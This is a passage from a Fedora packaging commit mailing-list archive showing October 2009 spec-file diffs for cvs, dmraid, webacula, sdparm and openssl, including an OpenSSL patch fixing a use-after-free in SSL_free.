Author: jmoskovc

Update of /cvs/extras/rpms/cvs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24428

Modified Files:
	cvs.spec 
Log Message:
fixed problem with --excludedocs



Index: cvs.spec
===================================================================
RCS file: /cvs/extras/rpms/cvs/F-12/cvs.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- cvs.spec	16 Sep 2009 10:29:47 -0000	1.66
+++ cvs.spec	16 Oct 2009 11:05:07 -0000	1.67
@@ -6,7 +6,7 @@
 Summary: A version control system
 Name: cvs
 Version: 1.11.23
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPL+
 Group: Development/Tools
 Source0: ftp://ftp.gnu.org/non-gnu/cvs/source/stable/%{version}/cvs-%{version}.tar.bz2
@@ -140,16 +140,16 @@ chmod a-x $RPM_BUILD_ROOT/%{_datadir}/%{
 [ "$RPM_BUILD_ROOT" != "/" ] && rm -rf $RPM_BUILD_ROOT
 
 %post
-/sbin/install-info /%{_infodir}/cvs.info.gz /%{_infodir}/dir
-/sbin/install-info /%{_infodir}/cvsclient.info.gz /%{_infodir}/dir
-exit 0
+/sbin/install-info /%{_infodir}/cvs.info.gz /%{_infodir}/dir &> /dev/null
+/sbin/install-info /%{_infodir}/cvsclient.info.gz /%{_infodir}/dir &> /dev/null
+:
 
 %preun
 if [ $1 = 0 ]; then
-	/sbin/install-info --delete /%{_infodir}/cvs.info.gz /%{_infodir}/dir
-	/sbin/install-info --delete /%{_infodir}/cvsclient.info.gz /%{_infodir}/dir
+	/sbin/install-info --delete /%{_infodir}/cvs.info.gz /%{_infodir}/dir &> /dev/null
+	/sbin/install-info --delete /%{_infodir}/cvsclient.info.gz /%{_infodir}/dir &> /dev/null
 fi
-exit 0
+:
 
 %files
 %defattr(-,root,root)
@@ -165,6 +165,9 @@ exit 0
 %{_sysconfdir}/profile.d/*
 
 %changelog
+* Fri Oct 16 2009 Jiri Moskovcak <jmoskovc at redhat.com> 1.11.13-8
+- fixed install with --excludedocs rhbz#515981
+
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> 1.11.23-7
 - Use password-auth common PAM configuration
 



From jmoskovc at fedoraproject.org  Fri Oct 16 11:06:15 2009
From: jmoskovc at fedoraproject.org (=?utf-8?b?SmnFmcOtIE1vc2tvdsSNw6Fr?=)
Date: Fri, 16 Oct 2009 11:06:15 +0000 (UTC)
Subject: rpms/cvs/devel cvs.spec,1.66,1.67
Message-ID: <20091016110615.19DE511C00E5@cvs1.fedora.phx.redhat.com>

Author: jmoskovc

Update of /cvs/extras/rpms/cvs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24762

Modified Files:
	cvs.spec 
Log Message:
fixed problem with --excludedocs



Index: cvs.spec
===================================================================
RCS file: /cvs/extras/rpms/cvs/devel/cvs.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- cvs.spec	16 Sep 2009 10:29:47 -0000	1.66
+++ cvs.spec	16 Oct 2009 11:06:14 -0000	1.67
@@ -6,7 +6,7 @@
 Summary: A version control system
 Name: cvs
 Version: 1.11.23
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: GPL+
 Group: Development/Tools
 Source0: ftp://ftp.gnu.org/non-gnu/cvs/source/stable/%{version}/cvs-%{version}.tar.bz2
@@ -140,16 +140,16 @@ chmod a-x $RPM_BUILD_ROOT/%{_datadir}/%{
 [ "$RPM_BUILD_ROOT" != "/" ] && rm -rf $RPM_BUILD_ROOT
 
 %post
-/sbin/install-info /%{_infodir}/cvs.info.gz /%{_infodir}/dir
-/sbin/install-info /%{_infodir}/cvsclient.info.gz /%{_infodir}/dir
-exit 0
+/sbin/install-info /%{_infodir}/cvs.info.gz /%{_infodir}/dir &> /dev/null
+/sbin/install-info /%{_infodir}/cvsclient.info.gz /%{_infodir}/dir &> /dev/null
+:
 
 %preun
 if [ $1 = 0 ]; then
-	/sbin/install-info --delete /%{_infodir}/cvs.info.gz /%{_infodir}/dir
-	/sbin/install-info --delete /%{_infodir}/cvsclient.info.gz /%{_infodir}/dir
+	/sbin/install-info --delete /%{_infodir}/cvs.info.gz /%{_infodir}/dir &> /dev/null
+	/sbin/install-info --delete /%{_infodir}/cvsclient.info.gz /%{_infodir}/dir &> /dev/null
 fi
-exit 0
+:
 
 %files
 %defattr(-,root,root)
@@ -165,6 +165,9 @@ exit 0
 %{_sysconfdir}/profile.d/*
 
 %changelog
+* Fri Oct 16 2009 Jiri Moskovcak <jmoskovc at redhat.com> 1.11.13-8
+- fixed install with --excludedocs rhbz#515981
+
 * Wed Sep 16 2009 Tomas Mraz <tmraz at redhat.com> 1.11.23-7
 - Use password-auth common PAM configuration
 



From mauelsha at fedoraproject.org  Fri Oct 16 11:10:53 2009
From: mauelsha at fedoraproject.org (Heinz Mauelshagen)
Date: Fri, 16 Oct 2009 11:10:53 +0000 (UTC)
Subject: rpms/dmraid/devel dmraid.spec,1.108,1.109
Message-ID: <20091016111054.022BA11C00E5@cvs1.fedora.phx.redhat.com>

Author: mauelsha

Update of /cvs/pkgs/rpms/dmraid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25810

Modified Files:
	dmraid.spec 
Log Message:
bz526157: fix manual pages for dmraid.static and dm_dso_reg_tool


Index: dmraid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dmraid/devel/dmraid.spec,v
retrieving revision 1.108
retrieving revision 1.109
diff -u -p -r1.108 -r1.109
--- dmraid.spec	15 Oct 2009 19:30:08 -0000	1.108
+++ dmraid.spec	16 Oct 2009 11:10:53 -0000	1.109
@@ -7,7 +7,7 @@
 Summary: dmraid (Device-mapper RAID tool and library)
 Name: dmraid
 Version: 1.0.0.rc16
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://people.redhat.com/heinzm/sw/dmraid
@@ -83,6 +83,8 @@ ln -s dmraid $RPM_BUILD_ROOT/sbin/dmraid
 
 # Provide convenience link from dmevent_tool
 (cd $RPM_BUILD_ROOT/sbin ; ln -f dmevent_tool dm_dso_reg_tool)
+(cd $RPM_BUILD_ROOT/%{_mandir} ; ln -f dmevent_tool.8 dm_dso_reg_tool.8 ; ln -f dmraid.8 dmraid.static.8)
+
 install -m 644 include/dmraid/*.h $RPM_BUILD_ROOT%{_includedir}/dmraid/
 
 # If requested, install the libdmraid and libdmraid-events (for dmeventd) DSO
@@ -126,6 +128,7 @@ rm -rf $RPM_BUILD_ROOT
 %files -n dmraid-events
 %defattr(-,root,root)
 /%{_mandir}/man8/dmevent_tool*
+/%{_mandir}/man8/dm_dso_reg_tool*
 /sbin/dmevent_tool
 /sbin/dm_dso_reg_tool
 
@@ -136,6 +139,9 @@ rm -rf $RPM_BUILD_ROOT
 %ghost /etc/logwatch/scripts/services/dmeventd_syslogpattern.txt
 
 %changelog
+* Fri Oct 16 2009  Heinz Mauelshagen <heinzm at redhat.com> - 1.0.0.rc16-5
+- bz526157: fix manual pages for dmraid.static and dm_dso_reg_tool
+
 * Thu Oct 15 2009  Heinz Mauelshagen <heinzm at redhat.com> - 1.0.0.rc16-4
 - bz505562: ddf1 metadata format handler LSI persistent name fix
 - bz524168: fix pdc metadata format handler to report the correct number



From tim4dev at fedoraproject.org  Fri Oct 16 11:19:18 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 11:19:18 +0000 (UTC)
Subject: rpms/webacula/F-11 .cvsignore,1.2,1.3 sources,1.2,1.3
Message-ID: <20091016111918.8148411C00E5@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27776

Modified Files:
	.cvsignore sources 
Log Message:
Initial commit (#526855)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	16 Oct 2009 09:24:31 -0000	1.2
+++ .cvsignore	16 Oct 2009 11:19:17 -0000	1.3
@@ -1 +0,0 @@
-webacula-3.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	16 Oct 2009 09:24:31 -0000	1.2
+++ sources	16 Oct 2009 11:19:18 -0000	1.3
@@ -1 +0,0 @@
-d6ffafa3315758fb8d6b313e50c5c78c  webacula-3.3.tar.gz



From sharkcz at fedoraproject.org  Fri Oct 16 11:23:12 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 11:23:12 +0000 (UTC)
Subject: rpms/sdparm/devel .cvsignore, 1.5, 1.6 sdparm.spec, 1.10,
	1.11 sources, 1.5, 1.6
Message-ID: <20091016112312.1F2AC11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/sdparm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29279

Modified Files:
	.cvsignore sdparm.spec sources 
Log Message:
* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
- 1.04



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	12 Aug 2008 16:52:42 -0000	1.5
+++ .cvsignore	16 Oct 2009 11:23:11 -0000	1.6
@@ -1 +1 @@
-sdparm-1.03.tgz
+sdparm-1.04.tgz


Index: sdparm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/devel/sdparm.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sdparm.spec	27 Jul 2009 04:05:04 -0000	1.10
+++ sdparm.spec	16 Oct 2009 11:23:11 -0000	1.11
@@ -1,7 +1,7 @@
 Summary:   List or change SCSI/SATA disk parameters
 Name:      sdparm
-Version:   1.03
-Release:   4%{?dist}
+Version:   1.04
+Release:   1%{?dist}
 License:   BSD
 Group:     Applications/System
 URL:       http://sg.danny.cz/sg/sdparm.html
@@ -45,6 +45,9 @@ such that the disk stops operating or is
 %{_mandir}/man8/%{name}*
 
 %changelog
+* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
+- 1.04
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.03-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Aug 2008 16:52:42 -0000	1.5
+++ sources	16 Oct 2009 11:23:11 -0000	1.6
@@ -1 +1 @@
-0f7ef943ee0a000ba90fe00ccb82763b  sdparm-1.03.tgz
+b20c281bc185ea7d3c5e78a8c0be2a46  sdparm-1.04.tgz



From sharkcz at fedoraproject.org  Fri Oct 16 11:24:31 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 11:24:31 +0000 (UTC)
Subject: rpms/sdparm/F-12 .cvsignore, 1.5, 1.6 sdparm.spec, 1.10,
	1.11 sources, 1.5, 1.6
Message-ID: <20091016112431.89B1E11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/sdparm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30110

Modified Files:
	.cvsignore sdparm.spec sources 
Log Message:
* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
- 1.04



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	12 Aug 2008 16:52:42 -0000	1.5
+++ .cvsignore	16 Oct 2009 11:24:31 -0000	1.6
@@ -1 +1 @@
-sdparm-1.03.tgz
+sdparm-1.04.tgz


Index: sdparm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/F-12/sdparm.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sdparm.spec	27 Jul 2009 04:05:04 -0000	1.10
+++ sdparm.spec	16 Oct 2009 11:24:31 -0000	1.11
@@ -1,7 +1,7 @@
 Summary:   List or change SCSI/SATA disk parameters
 Name:      sdparm
-Version:   1.03
-Release:   4%{?dist}
+Version:   1.04
+Release:   1%{?dist}
 License:   BSD
 Group:     Applications/System
 URL:       http://sg.danny.cz/sg/sdparm.html
@@ -45,6 +45,9 @@ such that the disk stops operating or is
 %{_mandir}/man8/%{name}*
 
 %changelog
+* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
+- 1.04
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.03-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Aug 2008 16:52:42 -0000	1.5
+++ sources	16 Oct 2009 11:24:31 -0000	1.6
@@ -1 +1 @@
-0f7ef943ee0a000ba90fe00ccb82763b  sdparm-1.03.tgz
+b20c281bc185ea7d3c5e78a8c0be2a46  sdparm-1.04.tgz



From mauelsha at fedoraproject.org  Fri Oct 16 11:27:24 2009
From: mauelsha at fedoraproject.org (Heinz Mauelshagen)
Date: Fri, 16 Oct 2009 11:27:24 +0000 (UTC)
Subject: rpms/dmraid/devel dmraid.spec,1.109,1.110
Message-ID: <20091016112724.77C3D11C00E5@cvs1.fedora.phx.redhat.com>

Author: mauelsha

Update of /cvs/pkgs/rpms/dmraid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30803

Modified Files:
	dmraid.spec 
Log Message:
Fix man path


Index: dmraid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dmraid/devel/dmraid.spec,v
retrieving revision 1.109
retrieving revision 1.110
diff -u -p -r1.109 -r1.110
--- dmraid.spec	16 Oct 2009 11:10:53 -0000	1.109
+++ dmraid.spec	16 Oct 2009 11:27:24 -0000	1.110
@@ -83,7 +83,7 @@ ln -s dmraid $RPM_BUILD_ROOT/sbin/dmraid
 
 # Provide convenience link from dmevent_tool
 (cd $RPM_BUILD_ROOT/sbin ; ln -f dmevent_tool dm_dso_reg_tool)
-(cd $RPM_BUILD_ROOT/%{_mandir} ; ln -f dmevent_tool.8 dm_dso_reg_tool.8 ; ln -f dmraid.8 dmraid.static.8)
+(cd $RPM_BUILD_ROOT/%{_mandir}/man8 ; ln -f dmevent_tool.8 dm_dso_reg_tool.8 ; ln -f dmraid.8 dmraid.static.8)
 
 install -m 644 include/dmraid/*.h $RPM_BUILD_ROOT%{_includedir}/dmraid/
 



From tmraz at fedoraproject.org  Fri Oct 16 11:28:02 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Fri, 16 Oct 2009 11:28:02 +0000 (UTC)
Subject: rpms/openssl/devel openssl-1.0.0-beta3-ssl-free.patch, NONE,
	1.1 openssl.spec, 1.143, 1.144
Message-ID: <20091016112802.9735111C00E5@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/openssl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30971

Modified Files:
	openssl.spec 
Added Files:
	openssl-1.0.0-beta3-ssl-free.patch 
Log Message:
* Fri Oct 16 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.10.beta3
- fix use of freed memory if SSL_CTX_free() is called before
  SSL_free() (#521342)


openssl-1.0.0-beta3-ssl-free.patch:
 s3_lib.c  |    1 +
 ssl_lib.c |    3 ++-
 2 files changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE openssl-1.0.0-beta3-ssl-free.patch ---
diff -up openssl-1.0.0-beta3/ssl/ssl_lib.c.ctx-free openssl-1.0.0-beta3/ssl/ssl_lib.c
--- openssl-1.0.0-beta3/ssl/ssl_lib.c.ctx-free	2009-10-08 20:44:26.000000000 +0200
+++ openssl-1.0.0-beta3/ssl/ssl_lib.c	2009-10-16 11:56:53.000000000 +0200
@@ -556,7 +556,6 @@ void SSL_free(SSL *s)
 	if (s->cert != NULL) ssl_cert_free(s->cert);
 	/* Free up if allocated */
 
-	if (s->ctx) SSL_CTX_free(s->ctx);
 #ifndef OPENSSL_NO_TLSEXT
 	if (s->tlsext_hostname)
 		OPENSSL_free(s->tlsext_hostname);
@@ -580,6 +579,8 @@ void SSL_free(SSL *s)
 
 	if (s->method != NULL) s->method->ssl_free(s);
 
+	if (s->ctx) SSL_CTX_free(s->ctx);
+
 #ifndef	OPENSSL_NO_KRB5
 	if (s->kssl_ctx != NULL)
 		kssl_ctx_free(s->kssl_ctx);
diff -up openssl-1.0.0-beta3/ssl/s3_lib.c.hbuf-clear openssl-1.0.0-beta3/ssl/s3_lib.c
--- openssl-1.0.0-beta3/ssl/s3_lib.c.hbuf-clear	2009-05-28 20:10:47.000000000 +0200
+++ openssl-1.0.0-beta3/ssl/s3_lib.c	2009-10-16 09:50:24.000000000 +0200
@@ -2211,6 +2211,7 @@ void ssl3_clear(SSL *s)
  	wlen = s->s3->wbuf.len;
 	if (s->s3->handshake_buffer) {
 		BIO_free(s->s3->handshake_buffer);
+		s->s3->handshake_buffer = NULL;
 	}
 	if (s->s3->handshake_dgst) {
 		ssl3_free_digest_list(s);


Index: openssl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssl/devel/openssl.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- openssl.spec	8 Oct 2009 18:45:10 -0000	1.143
+++ openssl.spec	16 Oct 2009 11:28:02 -0000	1.144
@@ -23,7 +23,7 @@
 Summary: A general purpose cryptography library with TLS implementation
 Name: openssl
 Version: 1.0.0
-Release: 0.9.%{beta}%{?dist}
+Release: 0.10.%{beta}%{?dist}
 # We remove certain patented algorithms from the openssl source tarball
 # with the hobble-openssl script which is included below.
 Source: openssl-%{version}-%{beta}-usa.tar.bz2
@@ -69,6 +69,7 @@ Patch61: openssl-1.0.0-beta3-namingblk.p
 Patch62: openssl-1.0.0-beta3-camellia-rounds.patch
 Patch63: openssl-1.0.0-beta3-dtls1-fix.patch
 Patch64: openssl-1.0.0-beta3-ssl-session.patch
+Patch65: openssl-1.0.0-beta3-ssl-free.patch
 
 License: OpenSSL
 Group: System Environment/Libraries
@@ -155,6 +156,7 @@ from other formats to the formats used b
 %patch62 -p1 -b .cmll-rounds
 %patch63 -p1 -b .dtls1-fix
 %patch64 -p1 -b .ssl-session
+%patch65 -p1 -b .ssl-free
 
 # Modify the various perl scripts to reference perl in the right location.
 perl util/perlpath.pl `dirname %{__perl}`
@@ -403,6 +405,10 @@ rm -rf $RPM_BUILD_ROOT/%{_libdir}/fipsca
 %postun -p /sbin/ldconfig
 
 %changelog
+* Fri Oct 16 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.10.beta3
+- fix use of freed memory if SSL_CTX_free() is called before
+  SSL_free() (#521342)
+
 * Thu Oct  8 2009 Tomas Mraz <tmraz at redhat.com> 1.0.0-0.9.beta3
 - fix typo in DTLS1 code (#527015)
 - fix leak in error handling of d2i_SSL_SESSION()



From sharkcz at fedoraproject.org  Fri Oct 16 11:28:03 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 11:28:03 +0000 (UTC)
Subject: rpms/sdparm/F-11 .cvsignore, 1.5, 1.6 sdparm.spec, 1.9, 1.10 sources,
	1.5, 1.6
Message-ID: <20091016112803.AEBCE11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/sdparm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31003

Modified Files:
	.cvsignore sdparm.spec sources 
Log Message:
* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
- 1.04



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	12 Aug 2008 16:52:42 -0000	1.5
+++ .cvsignore	16 Oct 2009 11:28:03 -0000	1.6
@@ -1 +1 @@
-sdparm-1.03.tgz
+sdparm-1.04.tgz


Index: sdparm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/F-11/sdparm.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sdparm.spec	26 Feb 2009 00:13:26 -0000	1.9
+++ sdparm.spec	16 Oct 2009 11:28:03 -0000	1.10
@@ -1,7 +1,7 @@
 Summary:   List or change SCSI/SATA disk parameters
 Name:      sdparm
-Version:   1.03
-Release:   3%{?dist}
+Version:   1.04
+Release:   1%{?dist}
 License:   BSD
 Group:     Applications/System
 URL:       http://sg.danny.cz/sg/sdparm.html
@@ -45,6 +45,9 @@ such that the disk stops operating or is
 %{_mandir}/man8/%{name}*
 
 %changelog
+* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
+- 1.04
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.03-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Aug 2008 16:52:42 -0000	1.5
+++ sources	16 Oct 2009 11:28:03 -0000	1.6
@@ -1 +1 @@
-0f7ef943ee0a000ba90fe00ccb82763b  sdparm-1.03.tgz
+b20c281bc185ea7d3c5e78a8c0be2a46  sdparm-1.04.tgz



From mauelsha at fedoraproject.org  Fri Oct 16 11:28:38 2009
From: mauelsha at fedoraproject.org (Heinz Mauelshagen)
Date: Fri, 16 Oct 2009 11:28:38 +0000 (UTC)
Subject: rpms/dmraid/devel dmraid.spec,1.110,1.111
Message-ID: <20091016112838.5E14D11C00E5@cvs1.fedora.phx.redhat.com>

Author: mauelsha

Update of /cvs/pkgs/rpms/dmraid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31449

Modified Files:
	dmraid.spec 
Log Message:
Fix man path


Index: dmraid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dmraid/devel/dmraid.spec,v
retrieving revision 1.110
retrieving revision 1.111
diff -u -p -r1.110 -r1.111
--- dmraid.spec	16 Oct 2009 11:27:24 -0000	1.110
+++ dmraid.spec	16 Oct 2009 11:28:37 -0000	1.111
@@ -7,7 +7,7 @@
 Summary: dmraid (Device-mapper RAID tool and library)
 Name: dmraid
 Version: 1.0.0.rc16
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://people.redhat.com/heinzm/sw/dmraid
@@ -139,6 +139,9 @@ rm -rf $RPM_BUILD_ROOT
 %ghost /etc/logwatch/scripts/services/dmeventd_syslogpattern.txt
 
 %changelog
+* Fri Oct 16 2009  Heinz Mauelshagen <heinzm at redhat.com> - 1.0.0.rc16-6
+- Fix manual path in specfile
+
 * Fri Oct 16 2009  Heinz Mauelshagen <heinzm at redhat.com> - 1.0.0.rc16-5
 - bz526157: fix manual pages for dmraid.static and dm_dso_reg_tool
 



From sharkcz at fedoraproject.org  Fri Oct 16 11:29:38 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 11:29:38 +0000 (UTC)
Subject: rpms/sdparm/F-10 .cvsignore, 1.5, 1.6 sdparm.spec, 1.7, 1.8 sources,
	1.5, 1.6
Message-ID: <20091016112938.8907911C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/sdparm/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32060

Modified Files:
	.cvsignore sdparm.spec sources 
Log Message:
* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
- 1.04



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/F-10/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	12 Aug 2008 16:52:42 -0000	1.5
+++ .cvsignore	16 Oct 2009 11:29:38 -0000	1.6
@@ -1 +1 @@
-sdparm-1.03.tgz
+sdparm-1.04.tgz


Index: sdparm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/F-10/sdparm.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sdparm.spec	12 Aug 2008 16:52:42 -0000	1.7
+++ sdparm.spec	16 Oct 2009 11:29:38 -0000	1.8
@@ -1,6 +1,6 @@
 Summary:   List or change SCSI/SATA disk parameters
 Name:      sdparm
-Version:   1.03
+Version:   1.04
 Release:   1%{?dist}
 License:   BSD
 Group:     Applications/System
@@ -45,6 +45,9 @@ such that the disk stops operating or is
 %{_mandir}/man8/%{name}*
 
 %changelog
+* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
+- 1.04
+
 * Tue Aug 12 2008 Terje Rosten <terje.rosten at ntnu.no> - 1.03-1
 - 1.03
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/F-10/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	12 Aug 2008 16:52:42 -0000	1.5
+++ sources	16 Oct 2009 11:29:38 -0000	1.6
@@ -1 +1 @@
-0f7ef943ee0a000ba90fe00ccb82763b  sdparm-1.03.tgz
+b20c281bc185ea7d3c5e78a8c0be2a46  sdparm-1.04.tgz



From sharkcz at fedoraproject.org  Fri Oct 16 11:30:28 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 11:30:28 +0000 (UTC)
Subject: rpms/sdparm/EL-5 .cvsignore, 1.4, 1.5 sdparm.spec, 1.3, 1.4 sources,
	1.4, 1.5
Message-ID: <20091016113028.4BE0111C0296@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/sdparm/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32484

Modified Files:
	.cvsignore sdparm.spec sources 
Log Message:
* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
- 1.04



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/EL-5/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	4 Oct 2009 16:30:57 -0000	1.4
+++ .cvsignore	16 Oct 2009 11:30:28 -0000	1.5
@@ -1 +1 @@
-sdparm-1.03.tgz
+sdparm-1.04.tgz


Index: sdparm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/EL-5/sdparm.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sdparm.spec	4 Oct 2009 16:30:57 -0000	1.3
+++ sdparm.spec	16 Oct 2009 11:30:28 -0000	1.4
@@ -1,7 +1,7 @@
 Summary:   List or change SCSI/SATA disk parameters
 Name:      sdparm
-Version:   1.03
-Release:   4%{?dist}
+Version:   1.04
+Release:   1%{?dist}
 License:   BSD
 Group:     Applications/System
 URL:       http://sg.danny.cz/sg/sdparm.html
@@ -45,6 +45,9 @@ such that the disk stops operating or is
 %{_mandir}/man8/%{name}*
 
 %changelog
+* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
+- 1.04
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.03-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	4 Oct 2009 16:30:57 -0000	1.4
+++ sources	16 Oct 2009 11:30:28 -0000	1.5
@@ -1 +1 @@
-0f7ef943ee0a000ba90fe00ccb82763b  sdparm-1.03.tgz
+b20c281bc185ea7d3c5e78a8c0be2a46  sdparm-1.04.tgz



From sharkcz at fedoraproject.org  Fri Oct 16 11:31:22 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 11:31:22 +0000 (UTC)
Subject: rpms/sdparm/EL-4 .cvsignore, 1.5, 1.6 sdparm.spec, 1.10,
	1.11 sources, 1.5, 1.6
Message-ID: <20091016113122.0465411C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/sdparm/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32766

Modified Files:
	.cvsignore sdparm.spec sources 
Log Message:
* Wed Oct 14 2009 Dan Hor?k <dan[at]danny.cz> - 1.04-1
- 1.04



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/EL-4/.cvsignore,v
retrieving revision 1.5
